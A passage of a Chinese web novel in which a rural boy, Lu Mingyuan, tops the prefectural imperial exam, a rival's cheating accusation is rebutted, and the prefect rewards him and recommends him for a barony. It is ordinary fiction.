“有黑幕!此中必有黑幕!” 众人循声望去,只见陈子修披头散发,双目赤红,状若疯魔地从人群中挤了出来。 他指着高台之上的张承运,又遥遥指向那片欢呼的区域,声音嘶哑地咆哮着。 “我不信!我绝不信一个乡野村夫能夺得魁首!定是那陆明渊与知府大人有所勾结!” 他像是抓住了最后一根救命稻草,不顾一切地喊道。 “三天前!府试阅卷尚未结束,我亲眼看见,知府周大人曾秘密召见陆明渊入府衙!” “若无内情,何必如此!这定是一场天大的舞弊!” 此言一出,满场皆惊! 那些本就心怀不忿的杭州府学子,眼中瞬间燃起了怀疑的火焰。 知府大人召见过他? 难道……真有内情? 一时间,刚刚还只是地域之争的局面,瞬间升级到了对科举公正性的质疑,对一府主官的指控! 人群的骚动,愈发剧烈。 高台之上,通判张承运的脸色,瞬间沉了下来,眼神中透出刀锋般的冷厉。 然而,还未等他开口,一个清冷而有力的声音,却压过了全场的嘈杂。 “一派胡言!” 众人愕然回头,却见说话之人,正是刚刚被陆明渊压了一头的榜眼,林博文! 只见林博文缓步走出,月白色的长衫在微风中轻轻拂动,他那张因失意而略显苍白的脸上,此刻却布满了寒霜。 他没有去看陈子修,而是环视四周,声音不大,却字字清晰,掷地有声。 “诸位同窗,我林博文,乃知府周大人亲传弟子,此事人尽皆知。” 他顿了顿,嘴角勾起一抹自嘲,却更显锋利的弧度。 “若真如这位陈兄所言,府试之中存在内幕勾结,那请问,恩师为何不将这魁首之位,授予我这个朝夕相处的亲传弟子,反而要给一个素未谋面的外县之人?” “难道在恩师眼中,我林博文的才学,我林家的颜面,还比不上一个区区江陵县的学子吗?” 这番话,如同一盆冰水,兜头浇在了所有骚动的学子头上。 是啊! 所有人都愣住了。 这个逻辑,简单、直接,却又无懈可击! 如果周泰知府真的要舞弊,最大的受益者,理应是他最疼爱、最寄予厚望的亲传弟子林博文才对! 把魁首给一个外人,这算什么舞弊?这简直是荒天下之大谬! 林博文看着众人变化的脸色,眼神愈发冰冷,他终于将目光转向了状若疯癫的陈子修,厉声呵斥道。 “你才学鄙陋,名落孙山,本是常事。却不思反省,反倒在此信口雌黄,污蔑主考官,构陷同科士子。” “如今更是将一腔怨毒,泼向为我杭州呕心沥血的知府大人!” “周大人上任三载,勤政爱民,兴修水利,重开书院,其功绩,杭州百姓有口皆碑!” “其为人,我等杭州学子更是心悦诚服!岂容你这等跳梁小丑在此肆意污蔑!” “你,该当何罪!” “该当何罪!” 林博文的每一句话,都像是一记重锤,狠狠地敲在众人的心上。 那些杭州府的学子们,瞬间清醒过来。 他们可以因为地域之别而不服陆明渊,但绝不能容忍有人如此恶毒地中伤他们心中敬若神明的知府大人! “说得好!林公子说得好!” “此人妖言惑众,当真是无耻之尤!” “将他抓起来!污蔑朝廷命官,罪加一等!” “抓起来!送交府衙,请知府大人严惩!” 群情激奋,民意如潮。 方才还同仇敌忾的杭州学子们,此刻纷纷调转矛头,怒视着陈子修,恨不得用唾沫将他淹死。 陈子修彻底懵了,他没想到,为自己“出头”的,竟然会是最大的“受害者”林博文。 他更没想到,自己的一番话,会引来如此滔天的怒火。 他张着嘴,想要辩解,却被周围山呼海啸般的呵斥声彻底淹没,整个人瘫软在地,面如死灰。 高台之上,张承运眼中闪过一丝赞许,对着林博文微微颔首。 随即,他脸色一沉,对着台下的衙役断然下令。 “将此狂悖之徒拿下!押入大牢,听候知府大人出关发落!” “喏!” 两名如狼似虎的衙役立刻上前,将失魂落魄的陈子修一把架起,堵住嘴巴,拖死狗一般地拖离了现场。 一场险些失控的风波,就此平息。 长街之上,再次恢复了秩序,只是气氛却变得更加微妙。 所有人的目光,都不由自主地汇聚在了林博文的身上。 这位刚刚失意落寞的榜眼,此刻却以一种所有人都没想到的方式,重新夺回了属于他的光芒。 他没有因为名次而失态,反而挺身而出,维护了恩师的清誉,捍卫了科举的尊严。 这份气度,这份胸襟,令人折服。 就连那些刚刚还在嘲讽他的外县学子,此刻看向他的眼神中,也多了几分敬意。 杜文远摇着折扇,脸上的玩味之色早已收敛,取而代之的是一抹复杂的神情。 他看着林博文,忽然觉得,自己或许从未真正认识过这个一直以来的对手。 处理完陈子修这个插曲,林博文深吸一口气,平复了一下心绪。 他没有回到自己的圈子里,而是转身,迈开脚步,径直朝着那片外县学子欢呼雀跃的地方走去。 那些外县学子看着一步步走近的林博文,脸上的笑容也慢慢收敛,神情中带着几分警惕与戒备。 他们不知道,这位杭州府的天之骄子,想要做什么。 终于,林博文在他们面前三步之外,站定了脚步。 他没有看其他人,目光如炬,扫过一张张年轻而激动的脸庞,最后,他对着众人,长身一揖,拱手行礼。 这个举动,让所有人都吃了一惊。 只听他用那清冷依旧,却带着一丝探寻与郑重的声音,缓缓开口。 “在下林博文,见过诸位同窗。” “敢问……哪一位是江陵县陆明渊,陆案首?” “博文落败,心服,却意难平。” “不知可否请案首出面一见,让博文一睹魁首风采?” 第083章 这已经不是天才了,这是妖孽! 林博文的声音在长街上回荡,清越而执着。 外县学子们脸上的狂喜之色渐渐褪去,取而代之的是一种混杂着好奇、警惕与一丝敬佩的复杂神情。 他们自发地分开一条道路,目光齐齐投向了人群的后方。 那里的气氛,似乎与周遭的激荡格格不入,始终保持着一种奇异的宁静。 在万众瞩目之下,一个身影缓缓从人群中走出。 那是一个少年,看年纪,似乎比林博文还要小上几岁。 身着一身洗得发白的青色布衫,浆洗得极为干净,却也难掩其质地的普通。 然而,当他走出来的那一刻,长街上所有华服锦衣的公子哥,仿佛都黯然失色。 少年身形尚未完全长开,却已挺拔如松。 眉目疏朗,鼻梁高挺,唇线分明,一张脸庞俊秀得近乎清逸,尤其是一双眼睛,黑白分明,深邃得如同寒潭。 这便是陆明渊? 那个来自穷乡僻壤,名不见经传,却一鸣惊人,力压满城天骄的府试魁首? 林博文的瞳孔微微一缩,心中那份“意难平”竟在看到对方的瞬间,消解了三分。 只因对方这般仪表气度,便绝非池中之物。 陆明渊走到林博文面前,同样在三步之外站定,不卑不亢地拱手还礼,声音清朗,如同玉石相击。 “江陵陆明渊,见过林兄。” 没有多余的客套,没有丝毫的骄矜,平淡得就像是在说一件与自己无关的小事。 林博文深深地看了他一眼,再次拱手,这一次,姿态放得更低,语气也愈发郑重。 “陆案首风采,博文今日得见,方知人外有人。只是博文心中有一惑,如鲠在喉,不吐不快,还望案首解惑。” 他顿了顿,目光灼灼地问道:“不知陆案首师从何人?博文他日定当备上厚礼,登门拜访,请教一二。” 这个问题,也是在场所有人心中的疑问。 能教出府试魁首的,必定是名满江南的大儒! 众人纷纷竖起了耳朵,想要听听是哪位隐世高人,培养出了这等麒麟之才。 然而,陆明渊的回答,却再次让所有人陷入了呆滞。 他摇了摇头,平静地说道:“林兄谬赞了。明渊并无名师,唯有启蒙恩师,乃是村中赵先生一人而已。” “至于府学……” 他抬眼看了一眼不远处那巍峨的学府牌坊,语气淡然,“求学不过两月时间。” 话音落下,长街之上,死寂无声。 落针可闻。 紧接着,便是轰然炸响的,是比之前任何一次都要猛烈百倍的哗然之声! “什么?” “没……没有名师?只在府学读了两个月?!” “这……这怎么可能!!” 所有杭州府的学子,都感觉自己的脑子嗡嗡作响,一片空白。 他们傻了。 彻彻底底的傻眼了。 这个世界,在这一刻,变得无比的荒诞与魔幻。 他们之中,哪一个不是自幼延请名师,寒窗苦读十数载? 哪一个不是在杭州府学,这等文风鼎盛之地,浸淫了五年,六年,甚至更久? 他们日夜苦读,悬梁刺股,将四书五经倒背如流,自以为已是同辈中的佼佼者。 可现在,一个只在府学待了两个月的乡下小子,一个连正经老师都没有的泥腿子。 轻而易举地摘走了他们梦寐以求的魁首之位! 这算什么? 他们这五六年的光阴,难道都读到狗肚子里去了吗? 这已经不是一记耳光了,这是将他们的脸按在地上,用尽全身力气,来回地摩擦! 羞辱! 这是前所未有的奇耻大辱! 就连那些外县的学子,此刻也都是一个个张大了嘴巴,如同见了鬼一般。 他们看向陆明渊的眼神,已经从敬佩变成了敬畏。 这已经不是天才了,这是妖孽! 林博文的身躯,也控制不住地微微一晃。 他脸上的血色“唰”地一下褪得干干净净,嘴唇翕动,却一个字也说不出来。 不可能…… 他比任何人都清楚自己的恩师,杭州知府周泰是何等严苛之人。 周大人的考卷,绝无半点侥幸可言。 能在他的手中夺得魁首,那必然是拥有碾压全场,无可争议的真才实学! 可……两个月…… 这怎么可能做到? 他死死地盯着陆明渊,那双一向骄傲的眼眸中,第一次流露出了近乎恳求的神色。 他再次长身一揖,这一次,腰弯得更深。 “陆案首之才,惊世骇俗,博文……闻所未闻。” 他的声音带着一丝不易察觉的颤抖。 “博文自知才疏,却也想输个明明白白。不知陆案首可否……可否与博文当场比较一二,无论是诗词,还是策论,博文但求一败,只为心服口服!” 他这是在下战书了。 以榜眼之身,当着满城学子的面,挑战魁首! 所有人的呼吸都屏住了,目光在两人之间来回逡巡,期待着一场龙争虎斗。 然而,面对林博文近乎悲壮的请求,陆明渊的反应,却再次出乎了所有人的预料。 他甚至连眉头都没有皱一下,只是抬起眼皮,用那双古井无波的眸子淡淡地瞥了林博文一眼,吐出了三个字。 “你谁啊?” 声音不大,却像是一道九天惊雷,在每个人的耳边炸响。 林博文猛地抬起头,满脸的不可置信。 只听陆明渊用一种理所当然的语气,继续冷声道。 “府试结果,由主考官与阅卷官共同评定,知府大人亲自核准,张榜公布。” “你若对结果不满,大可去府衙鸣鼓,寻知府大人申诉,找阅卷考官对质。” “我没有义务,也没有时间,在这里向你证明我自己。” 他说着,竟是直接转过身,仿佛眼前的榜眼,这满城的学子,都与他无关。 “我时间不多,急着回家。” 说完,他便迈开脚步,竟是真的打算就此离去! 全场,一片死寂。 所有人都被陆明渊这番话,这番举动,给震得魂飞天外。 狂! 太狂了! 面对杭州府第一天才,知府高徒林博文的挑战,他竟然连应战的兴趣都没有! 而那些杭州府的学子,更是气得浑身发抖,却又一句话都说不出来。 因为陆明渊说的……没错! 科举放榜,结果已定,他这个魁首,是官方认证的,何须向一个落败的榜眼去证明什么? 就在这尴尬到极致,也紧绷到极致的气氛中,一个威严的声音及时响起。 “陆公子,请留步!” 众人回头望去,只见高台之上的通判张承运,不知何时已经走了下来。 他身后跟着两名衙役,快步走到了陆明渊的面前。 张承运的脸上,再无之前面对陈子修时的冷厉,反而带着一丝客气,对着陆明渊拱了拱手。 “陆公子,在下杭州府通判张承运。” 他先是自报家门,随后才沉声说道。 “知府大人有言,放榜之后,请陆公子即刻前往府衙一趟,大人有要事相商。” “还请陆公子稍待片刻,随本官移步府衙。” 第084章 此策,首功在你陆明渊! “还请陆公子稍待片刻,随本官移步府衙。” 陆明渊微微颔首,随着张承运转身。 人群再次如潮水般向两侧退开,让出一条宽阔的道路。 阳光落在青石板上,将两人的影子拉得很长。 一个身着官袍,步履沉稳;一个青衫布衣,身形清瘦,却自有风骨。 “等等!” 一声压抑着不甘的低喝自身后响起。 林博文脸色苍白,嘴唇紧抿,终究还是迈开了脚步,紧紧地跟了上去。 他不知道自己为什么要跟上去,或许只是不愿就此认输,或许只是想亲眼见证,为何自己的老师要见陆明渊。 府衙的衙役识得这位知府大人的高徒,见他跟来,虽有诧异,却也并未阻拦,只是默默地保持着距离。 于是,长街之上,便出现了这样一幅奇景。 通判大人在前引路,府试魁首居中而行,而名满杭州的榜眼,则如一个失魂落魄的影子,缀在最后。 杭州府衙,坐北朝南,门前两尊石狮威严肃穆,朱红的大门上,铜钉闪着冷硬的光。 跨过高高的门槛,周遭的喧嚣瞬间被隔绝在外,一股庄严肃杀之气扑面而来。 张承运领着陆明渊,穿过仪门,绕过戒石,一路行至后堂知府大人的书房之外。 书房名为“静心斋”,门前栽着两株老槐,枝叶繁茂,洒下一片清凉的绿荫。 “陆公子,请。” 张承运侧身,做了个请的手势。 陆明渊正要迈步,身后的林博文却抢上一步,对着张承运一揖到底:“张大人,学生……” 张承运回过身,看着这位面色复杂的少年天才,目光中并无苛责。 他只是平静地摇了摇头,伸出手臂,虚拦了一下。 “林公子,知府大人只见陆案首一人。” 他的声音不高,却带着一种不容置喙的官场威严。 “大人有令,让你在门外等候。” 林博文的身子僵在了原地,抬起的手臂,也无力地垂下。 他眼睁睁地看着那扇厚重的木门在陆明渊身后缓缓关闭,将他与里面的一切,彻底隔绝开来。 门外,是焦灼等待的榜眼。 门内,是另一个截然不同的世界。 一股浓郁的墨香与陈年书卷的气息迎面而来。 正对门口的,是一张宽大的紫檀木书案,案上笔墨纸砚一应俱全。 一位身着绯色官袍,头戴乌纱,面容清癯,颌下留着三缕长髯的中年男子,正坐在案后,目光如电,静静地审视着走进来的少年。 此人,正是杭州知府,周泰。 张承运躬身行礼:“大人,陆案首带到。” 陆明渊亦是长身一揖,不卑不亢:“学生陆明渊,拜见知府大人。” 书房内的气氛,一时有些凝滞。 张承运站在一旁,连呼吸都放轻了三分,心中暗自为陆明渊捏了一把汗。 知府大人的威严,他这个做了多年下属的人,是最清楚不过的。 然而,接下来发生的一幕,却让他几乎以为自己出现了幻觉。 周泰那张素来严肃的脸上,竟缓缓的,露出了一丝……笑容? 虽然很淡,但确确实实是笑容。 “承运,把门关上。” 周泰开口了,声音温和了许多。 “是,大人。” 张承运连忙应声,转身将房门紧紧合拢。 当他再转过身时,眼前的景象,让他整个人都定在了原地,如遭雷击。 只见知府大人周泰,竟已站起身,并且……亲手解下了腰间的革带。 他将身上那件代表着四品大员身份的绯色官袍,缓缓地脱了下来,随手搭在了身后的椅背上。 只着一身素色常服的周泰,身上那股迫人的官威瞬间消散了七八分,取而代之的,是一种长者看后辈的温煦。 他绕出书案,笑呵呵地走到陆明渊面前,指着一旁的客座。 “来,陆小友,请坐。” “!!!” 张承运的脑子里,仿佛有惊雷炸响,一片空白! 他跟在周泰身边多年,何曾见过大人如此礼遇一个后辈? 别说是一个刚刚考过府试的童生,便是那些江南道的封疆大吏,朝中的三品大员前来拜会,知府大人也从未有过主动脱下官服,请人入座的举动! 官服,便是身份,是规矩,是朝廷的体面! 脱下官服,意味着此刻的周泰,并非以杭州知府的身份,而是以一个纯粹的读书人,一个长辈的身份,来与陆明渊平等对话! 这是何等惊世骇俗的礼遇? 这个叫陆明渊的少年,他……他究竟是何方神圣? 张承运感觉自己的世界观,在这一刻,被彻底颠覆了。 周泰却没有理会自己下属那快要掉下来的下巴,他只是饶有兴致地看着陆明渊。 见少年虽然眼中也闪过一丝讶异,但很快便恢复了平静,坦然入座,那份宠辱不惊的气度,让他心中的赞赏又多了几分。 “今日请你来,有两件事。” 周泰抿了一口茶,开门见山地说道。 陆明渊微微欠身:“大人请讲,学生洗耳恭听。” “第一件事,是恭喜你。” 周泰捋了捋长髯,眼中带着真切的笑意。 “恭喜你,高中本次府试魁首。” 他顿了顿,特意加重了语气。 “你那篇文章,老夫与其余三位阅卷官,皆评为甲上,无一人有异议。你的这个案首,是实至名归,非是本官有任何偏袒通融。” “于公,你是杭州府两百年来,第一个非杭州府学出身的案首。” “这说明我杭州府治下,文风鼎盛,人才辈出,并非一潭死水,这是天大的好事,本官身为杭州知府,理当为你贺!” “于私,老夫也是个读书人,平生最喜见的,便是如你这般的少年英才。见猎心喜,也当贺!” 这番话,说的是推心置腹,诚意十足。 陆明渊放下茶杯,起身再次拱手,神色郑重。 “学生惶恐,愧不敢当。能有今日些许成绩,皆赖村中赵先生启蒙,府学诸位教习指点,不敢贪天之功。” 他不骄不躁,不卑不亢,将功劳归于师长,这份心性,更是难得。 “好,好一个不贪天之功!” 周泰抚掌大笑,脸上的欣赏之色愈发浓郁。 “小小年纪,便有如此胸襟气度,难怪能写出那等格局的策论!” 他示意陆明渊坐下,神情也变得严肃了几分。 “这便是老夫要与你说的第二件事了。” 他身体微微前倾,盯着陆明渊的眼睛,一字一顿地说道。 “同样是恭喜你……” “恭喜你,即将有爵位在身!” “轰!” 这一次,不仅是张承运,就连一向镇定的陆明渊,瞳孔也猛地一缩! 爵位? 这两个字,对于大乾王朝任何一个读书人而言,都重若千钧! 文官封爵,何其艰难!非有定国安邦之策,开疆拓土之功,不可得也! 他不过是一个刚考过府试的童生,连秀才都不是,何德何能,敢当一个“爵”字? 看着陆明渊脸上终于露出的震惊之色,周泰反而满意地点了点头,这才是少年人该有的反应。 若是连听到封爵都面不改色,那此子就不是天才,而是妖孽了。 他缓缓解释道:“你策论中所言,‘开海运以补漕运之穷,引商税以充国库之虚’,此十六字,字字珠玑,直指我大乾立国百年之沉疴!” “你可知,为漕运之事,朝堂之上,南北两派争斗了多少年?为国库空虚,户部尚书愁白了多少头发?” “而你,区区一篇策论,便将此事剖析得淋漓尽致,且给出了切实可行之法!此非定国安邦之策,又是什么?” 周泰的声音中,透着一股难言的激动。 “前几夜,本官通宵未眠,将你的策论精要,连同我的一些补充见解,整理成了一份万言奏疏。天亮之时,便已用八百里加急,发往京城,直呈御前!” 他看着陆明渊,目光灼灼。 “奏疏之上,本官已写明,此策,首功在你陆明渊!” “本官更为你请功,言你虽年少,却有经天纬地之才,若不破格封赏,恐寒天下士子之心!” “以你此策之功,若圣上与内阁诸公看得上眼,一个世袭罔替的男爵,是至少的!” “陆明渊,” 周泰的声音变得无比郑重。 “你,要提前做好准备了!” 第085章 凡府试魁首,皆赏银一千两! 不远处,在官场宦海中沉浮了二十余年的通判大人,此刻只觉得自己的耳朵里嗡嗡作响。 他张着嘴,喉结艰难地上下滚动,却发不出半点声音。 爵位? 还是世袭罔替的男爵? 他出现了幻觉吗?这一定是幻觉! 大乾立国百年,文官封爵者,屈指可数。 哪一个不是名满天下的大儒,或是权倾朝野的相公? 哪一个不是立下了不世之功,才被圣上恩准,荫及子孙? 周泰来杭州府三年,整顿吏治,兴修水利,劝课农桑,功劳不可谓不大,可他自己连个爵位的边都摸不着。 他张承运兢兢业业辅佐,更是想都不敢想。 可现在,大人竟然为了一个十岁的少年,一篇府试的策论,就用八百里加急,上疏御前,为其请封? 这已经不是破格了,这是在拿自己的政治前途做一场豪赌! 张承运的世界观,在这一刻,碎了,碎得彻彻底底。 他看着眼前这个青衫布衣的少年,眼神里第一次带上了深深的敬畏与……恐惧。 此子,究竟是何等妖孽? …… 门外,是另一番光景。 静心斋的门窗皆是上好的木料,隔音极佳。 但周泰最后那几句慷慨激昂的话语,依旧传入了林博文的耳中。 “……请功……” “……经天纬地之才……” “……世袭罔替……男爵……” 每一个词,都像是一记重锤,砸在他的心口。 起初,他以为自己听错了。 他死死地贴着门,屏住呼吸,将所有的心神都凝聚在听觉之上。 那个他原本以为只是侥幸夺了自己案首之位的少年,竟然……竟然要被封爵了? 因为一篇策论? 林博文的脸色,比门外的阳光还要惨白。 他浑身发冷,手脚冰凉,仿佛一瞬间被抽走了所有的力气和魂魄,只能靠着冰冷的门框,才不至于瘫软在地。 他想起了自己引以为傲的文章,那些华丽的辞藻,那些引经据典的卖弄。 在“开海运”、“引商税”这八个字面前,显得何其可笑,何其苍白无力。 他一直以为,自己与陆明渊的差距,只是一步之遥。 直到此刻,他才绝望地发现,那不是一步,而是一道天堑。 …… 门内。 在经历了最初的震撼之后,陆明渊迅速地冷静了下来。 他知道,这件事,是天大的机缘,也是天大的危机。 木秀于林,风必摧之。 一个十岁的童生,骤然被推到封爵的风口浪尖,等待他的,绝不会仅仅是鲜花与掌声。 他深吸一口气,从座位上站起,对着周泰,再次长身一揖,比之前任何一次都要郑重。 “大人厚爱,学生……惶恐之至,愧不敢当!” 他的声音清朗而坚定,回荡在静谧的书房之中。 “学生不过一介童生,偶有所得,皆是拾人牙慧,不过是为了科举,搏一个出身罢了。” “此策能入大人法眼,已是学生三生之幸。若论功劳,此乃大人洞察时弊,高瞻远瞩,方能有此万言奏疏。” “学生不过是为大人提供了些许浅见,万万不敢居功!” “按照我大乾官场的规矩,一地科举若出英才,皆是地方主官教化之功。” “大人对学生有提拔之恩,已是天恩浩荡,学生若是再贪图赏赐,岂非成了无君无父,不知廉耻之徒?还请大人收回成命!” 这番话说得滴水不漏,既表明了态度,又全了周泰的体面。 将功劳全部推给上官,这是官场之上,最基本也是最重要的生存法则。 张承运在一旁听得心中一凛,看向陆明渊的眼神,又变了。 此子不仅有经天纬地之才,更有如此玲珑剔透的心思,行事老练的不像一个少年,倒像个在官场浸淫多年的老吏! 妖孽,真是个不折不扣的妖孽! 周泰静静地听着,脸上那激动的神色缓缓收敛,取而代之的,是一抹更加深沉的欣赏。 他等陆明渊说完,才摆了摆手,面色却倏地一沉,带着几分呵斥的意味。 “糊涂!” “我周泰若真是那般贪功之人,这杭州知府的位子,也坐不到今天!” 他的声音不大,却掷地有声,充满了不容置疑的威严。 “功就是功,过就是过!此策是你所创,首功便在你!本官有识人之明,举荐之功,朝廷自有公论,自有赏赐,无需你来替我考量!” 他盯着陆明渊,目光锐利如鹰。 “你记住,读书人,当有风骨!是你的,就是你的,谁也抢不走!” “旁人要给你,你若不该得,也绝不能拿!这才是立身之本!” “今日叫你来,其一,是为道喜,为你即将到来的泼天前程道喜。” “其二,便是给你我杭州府的赏赐!” 周泰的语气缓和下来,转身从书案的抽屉里,拿出了一张折叠整齐的纸张,和一份盖着朱红官印的文书。 “我杭州府有规矩,自我上任以来便立下了。” “凡府试魁首,皆赏银一千两,以资奖励,鼓励尔等读书人,继续奋进,为国取才。” “这规矩已奉行三年,并非为你额外所设,你大可放心收下。” 他将那张纸递了过来。 陆明渊双手接过,展开一看,是一张银票,上面清晰地印着“大乾宝通钱庄”、“壹仟两”的字样。 右下角盖着鲜红的“杭州府印”。 官府印发的银票,信誉比任何钱庄都要坚挺,可以在杭州府内任意一家钱庄兑换。 一千两银子! 对于如今的陆家而言,这无疑是一笔天文数字。 “另外,这是你的府试案首文书,凭此文书,你便是我大乾朝承认的童生,可见官不跪,免除家中徭役。” 周泰将那份文书也递了过来。 陆明渊再次郑重接过,小心翼翼地收入怀中。 这两样东西,一样解了家中燃眉之急,一样,则给了他真正的身份和底气。 “多谢大人!”他真心实意地再次行礼。 周泰满意地点了点头,看着少年将东西收好,这才端起茶杯,轻轻吹了吹浮沫,目光却不着痕迹地瞥向了那扇厚重的木门。 他放下茶杯,声音不大,却带着一股穿透力。 “还不进来!” 第086章 这不是答题了,这是在立论! 话音落下,那扇厚重的木门便“吱呀”一声,被一股微弱的力量推开。 一道身影踉跄着走了进来。 这位素来以风度翩翩、才情自负闻名杭州府的天才少年,此刻衣衫微乱。 脸上血色褪尽,只剩下一片纸般的苍白,眼神空洞,仿佛刚刚从一场大梦中惊醒。 他深吸一口气,像是用尽了全身的力气,才勉强稳住身形,对着上首的周泰,深深一揖。 “学生林博文,见过恩师。” 他的声音沙哑干涩,全无往日的清朗。 随即,他又转向一旁的张承运,再次躬身行礼。 “见过张大人。” 最后,他才缓缓转向那个比自己矮了一个头的少年,沉默了片刻,最终还是郑重地拱了拱手。 “见过……明渊兄。” 周泰面沉似水,看着自己最得意的弟子这副失魂落魄的模样,心中既有疼惜,更有怒其不争的愠怒。 他没有让林博文起身,就让他那么躬着身子,冷冷地开口训斥道。 “三年苦读,圣贤之言都读到哪里去了?为师教你的经世济用之学,你又领悟了多少?” “一篇策论,洋洋洒洒数千言,却连题眼都未曾抓住,通篇皆是浮于表面的利弊之辩,可知错?” 周泰的声音不大,却字字如针,扎在林博文的心上。 林博文的脸颊瞬间涨得通红,羞愧与难堪像是两只无形的手,紧紧扼住了他的喉咙。 他想辩解,想说自己已经尽了全力,可是在那石破天惊的“开海运”、“引商税”面前,任何辩解都显得苍白无力。 他知道,老师说得对,自己错了,错得离谱。 然而,少年人的骄傲与一个读书人对真理的渴求,让他硬生生抬起了头。 迎着周泰严厉的目光,再次拱手,声音里带着一丝颤抖,却异常坚定。 “学生知错!学生……心服口服!只是……学生斗胆,恳请恩师,能否让学生一阅明渊兄的试卷?” “学生想知道,自己究竟输在了何处。” 他不是输不起,他只是想输个明明白白。 “哼!” 周泰鼻腔里发出一声不屑的冷哼。 他没有去拿那份策论,只是将目光投向窗外,缓缓吟诵起来。 “金风动玉旒,墨涌九天秋。” “笔掷三山外,文成五凤楼。” “蟾宫初折桂,云路已驰骝。” “莫道青衫薄,今朝第一流!” 林博文呆住了。 他亦是擅长诗词之人,自然听得出这首诗中蕴含着何等磅礴的自信与冲天的豪情! “笔掷三山外,文成五凤楼” 这是何等的气魄! “莫道青衫薄,今朝第一流” 这又是何等的狂傲与睥睨! 他想起自己那首绞尽脑汁才做出的试帖诗,虽然也算工整,但与此诗一比,简直就是萤火与皓月争辉,不值一提。 他低下头,原本挺直的脊梁,在这一刻彻底弯了下去。 良久,他才用几不可闻的声音说道。 “……好诗。单凭此诗,学生……便输得不冤。” 然而,他心中那份最大的困惑,依旧没有解开。 诗词不过是小道,是锦上添花之物。 真正能让老师这般雷霆手段,不惜赌上自己政治前途也要上疏请封的,绝不可能是区区一首诗。 只能是那篇策论! 他再次抬起头,眼中带着一丝近乎哀求的恳切。 “恩师,学生还是想……看看那篇策论。究竟是怎样的惊世之论,能让您……如此看重?” 他真的太好奇了,好奇的心都在发痒。 那篇策论里,到底藏着怎样的魔力? 周泰看着他那副样子,知道若不让他彻底死心,这孩子恐怕会生出心魔。 他终于松了口,却没有将试卷递过去,只是端起茶杯,轻轻吹了吹,用一种看似平淡,实则每一个字都重如千钧的语气,缓缓念道: “漕海之争,非利弊之辨,实为体用之惑。” 仅仅一句,林博文的瞳孔便骤然一缩! 他整个人仿佛被一道无形的闪电劈中,浑身一僵,脑海中嗡的一声,瞬间一片空白。 体用之惑? 是啊……是体用之惑! 自己和满场的考生,都在纠结于漕运与海运的利弊得失,如同在泥潭里打滚,却从未想过跳出这个泥潭! 漕运为体,海运为用? 还是…… 不等他细想,周泰那沉稳的声音再次响起。 “臣以为,漕运为国之经络,海运为民之血脉,经络以固本,血脉以活体,二者非但不悖,实乃相辅相成,一体两翼!” “轰!” 林博文只觉得整个世界观都在这一刻轰然倒塌,然后被一股更宏大、更开阔的格局重塑! 经络……血脉…… 固本……活体…… 一体两翼! 原来如此!原来如此! 这已经不是在答题了,这是在立论! 是为大乾国策,定下万世不易的基调! 一种难以言喻的震撼与敬畏,从他的心底最深处汹涌而出,瞬间淹没了他所有的骄傲与不甘。 他怔怔地站在原地,嘴巴微张,失魂落魄。 片刻之后,他猛地回过神来,脸上再无半点不服之色。 取而代之的,是一种发自内心的、无比纯粹的敬仰与钦佩。 他转过身,对着那个始终安静站立的青衫少年,没有丝毫犹豫,撩起衣袍,竟是行了一个九十度的长揖大礼! “明渊兄!博文……心服口服!佩服之至!” 这一拜,拜的不是府试案首的虚名,而是那足以经天纬地的旷世之才! 周泰看着这一幕,眼中终于露出了一丝满意的微笑。 他要的就是这个结果。 林博文是他的弟子,天资聪颖,心性也算纯良,只是少年得志,难免锋芒毕露。 今日受此挫折,对他未来的路,有百利而无一害。 更重要的是,他周泰已经认定了,陆明渊此子,绝非池中之物,他日必将一飞冲天,成为朝堂之上举足轻重的人物。 让自己的弟子,在此时与这等未来的巨擘结下善缘,成为朋友,将来必能得其照拂,扶摇直上。 这,才是他身为老师,为弟子做的最长远的谋划。 “林兄快快请起,万万不可如此!” 陆明渊见状,连忙上前一步,双手将林博文扶了起来。 他坦然地受了这一礼,因为他知道,这一礼是林博文身为读书人的骄傲,自己若是不受,反倒是看轻了对方。 扶起之后,他才谦和地摆了摆手,微笑道。 “不过是些纸上谈兵的浅见,侥幸得了大人青眼罢了。” “科场之上,瞬息万变,说不定到了院试,便是小弟输给林兄了。” 这番话说得极为诚恳,既给了林博文台阶下,也表明了自己的态度。 林博文刚想说些什么,周泰却不耐烦地挥了挥手,直接打断了他们。 “好了好了,你们年轻人的事情,以后有的是时间慢慢说。” “本官这里还有公务要处理,你们两个,都出去吧,不要在此耽搁本官的时间!” 第087章 我一个种地的,哪会做什么生意 “好了好了,你们年轻人的事情,以后有的是时间慢慢说。” “本官这里还有公务要处理,你们两个,都出去吧,不要在此耽搁本官的时间!” 周泰不耐烦地挥了挥手,下了逐客令。 陆明渊与林博文对视一眼,皆躬身行礼,齐声道:“学生告退。” 二人一前一后,走出了书房。 午后的阳光有些刺眼,洒在身上,驱散了方才在书房内感受到的那股无形压力。 林博文停下脚步,转身,面对着陆明渊,神情前所未有的郑重。 他再次深深一揖,腰弯成了九十度,这一次,陆明渊没有去扶。 “明渊兄,今日博文方知,何谓人外有人,天外有天。” 林博文缓缓直起身,目光清澈,再无一丝阴霾,只剩下纯粹的敬佩与昂扬的战意。 “你那篇策论,那首诗,都足以名传天下。我输了,输得心服口服。” “明年开春院试,我会在杭州府贡院,静候明渊兄大驾。” “我定要超越你!” 这番话,他说得斩钉截铁,掷地有声。 陆明渊看着他,微微一笑,如春风化雨。 “好。” “我等着。” 说罢,他拱了拱手,转身离去,青衫磊落,背影潇洒。 …… 福来客栈。 陆明渊刚一踏入大堂,夫子连忙起身,快步走了过来。 “明渊,你可算回来了。” 他上下打量着陆明渊,仿佛在看一件稀世珍宝。 “周大人……都与你说了?” “说了。” 陆明渊言简意赅。 夫子闻言,长长地舒了一口气,整个人都放松了下来,随即脸上涌起狂喜之色。 “太好了!太好了!府试案首!我林家府学,竟然出了一位府试案首!这可是天大的喜事!” 他搓着手,有些语无伦次,好半天才想起正事。 “对了,明渊,我们林家的商队明日一早便要起程返回江陵县,你可要与我们一同回去?路上也有个照应。” “正有此意,有劳夫子安排了。” 陆明渊点头应下。 “不劳烦,不劳烦!” 夫子连连摆手,喜不自胜地说道。 “我这就去安排!哦,对了,商队已经派出了最快的马,加急赶回江陵县报喜去了!想必等我们到时,整个江陵县,都知道你陆明渊的大名了!” 陆明渊看着他的背影,无奈地摇了摇头,心中却也升起一丝暖意。 他知道,这趟回乡之路,恐怕不会平静了。 三日后。 江陵县,东城门。 官道上尘土飞扬,一支规模不小的商队正缓缓驶来。 而在城门口,早已是人山人海,热闹非凡。 